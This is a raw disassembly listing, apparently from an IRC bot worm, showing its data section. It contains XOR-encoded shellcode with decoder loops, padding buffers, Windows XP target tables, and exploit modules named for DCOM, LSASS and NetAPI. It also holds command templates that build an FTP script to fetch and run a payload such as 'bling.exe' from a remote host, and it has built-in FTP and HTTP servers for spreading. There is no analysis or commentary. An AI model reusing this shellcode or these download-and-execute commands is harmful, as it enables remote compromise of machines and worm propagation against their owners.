sub_403A90+153o align 10h loc_4289D0: ; DATA XREF: sub_403A90+E8o jmp short near ptr dword_4289D8 ; --------------------------------------------------------------------------- align 8 dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: ___:004042E4o ; sub_404F9A+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo ; --------------------------------------------------------------------------- loc_428A5C: ; CODE XREF: ___:00428A66j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_428A5C inc edi jz short loc_428AA3 and eax, 952CE753h inc esp jle short loc_428ACB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_428AA3: ; CODE XREF: ___:00428A69j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_428B02+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_428AC8: ; CODE XREF: ___:00428AF5j xor [esi-25h], bl loc_428ACB: ; CODE XREF: ___:00428A71j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_428AE4: ; CODE XREF: ___:00428B17j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_428AC8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_428B02: ; CODE XREF: ___:00428AA9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_428B8E jo short loc_428AE4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_428B25+1 add bl, [edi] loc_428B25: ; CODE XREF: ___:00428B21j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_428B3A+2 cmp ch, bh dec edx loc_428B3A: ; CODE XREF: ___:00428B35j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_428B8E: ; CODE XREF: ___:00428B15j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_428C14 sub al, 0BCh jmp near ptr 54448F82h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr byte_428BC8 db 0 ; DATA XREF: ___:00404B45r ; ___:00404C13r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_428C14: ; CODE XREF: ___:00428B98j push eax xor al, 29h loc_428C17: ; DATA XREF: ___:00404B6Do add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o align 4 a_: ; DATA XREF: sub_406387+252o unicode 0, <.>,0 dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h) db 2 dup(64h) word_429042 dw 6464h ; DATA XREF: ___:00428641o dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h) dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh) dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h dd 78A9269Bh, 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 loc_429E74: ; DATA XREF: ___:00405319o add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_429E92: ; CODE XREF: ___:00429EE2j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_429EE9 ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_429E92 inc edx add [eax-52h], esi inc edx loc_429EE9: ; CODE XREF: ___:00429ED9j mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_429EFC: ; CODE XREF: ___:00429F03j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_429EFC ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_429F4D lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:nothing sbb esi, [ecx+79h] jns short near ptr loc_429F59+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_429F4D: ; CODE XREF: ___:00429F15j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_429F59: ; CODE XREF: ___:00429F26j db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_429F67+2 cmc lodsb loc_429F67: ; CODE XREF: ___:00429F63j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r align 4 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_405144+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h unk_42A0B0 db 2 ; DATA XREF: ___:00405367o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo ; sub_40EE72+537o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4053D5+5AFo align 4 unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o db 33h, 6Eh, 2 db 7Ah ; z db 1Fh, 6Dh, 1Fh db 20h db 28h, 66h, 74h db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 3, 34h aSPortDNowExecu db '»» %s, port:%d now executing %s on remote ABOSAL7.',0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4053D5+519o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4053D5+3AFo align 10h aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co aI: ; DATA XREF: sub_4053D5+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o aA: ; DATA XREF: sub_4053D5+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o ; sub_4053D5+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o align 10h off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo align 10h aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo align 10h aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o align 10h aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_405A58+24o ; sub_406C19+12Eo ... align 4 unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo align 4 asc_42A3B4: ; DATA XREF: sub_405AF2+293o ; sub_40EE72+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o ; sub_40B8D8+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo align 4 unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_42A65C: ; DATA XREF: sub_4060D0+15Ao unicode 0, <*>,0 asc_42A660: ; DATA XREF: sub_4060D0+FBo ; sub_406387+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo ; sub_406387+4DAo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao ; sub_40B390+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_406387+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_406387+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o align 4 aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o ; sub_406387+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o ; sub_406387+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo aAm db 'AM',0 ; DATA XREF: sub_406387+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_406387+237o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C19+399o dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo align 8 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o align 4 dd 5 dup(0) dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er ; sub_40EE72+30B3r ... off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w ; sub_402DD7+2E7r ... dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DD7h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DD7h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 403688h, 0 dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h dd 5 dup(0) dd 1BDh, 40428Fh, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 40428Fh, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404F42h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h dd 5 dup(0) dd 8Bh, 404F42h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 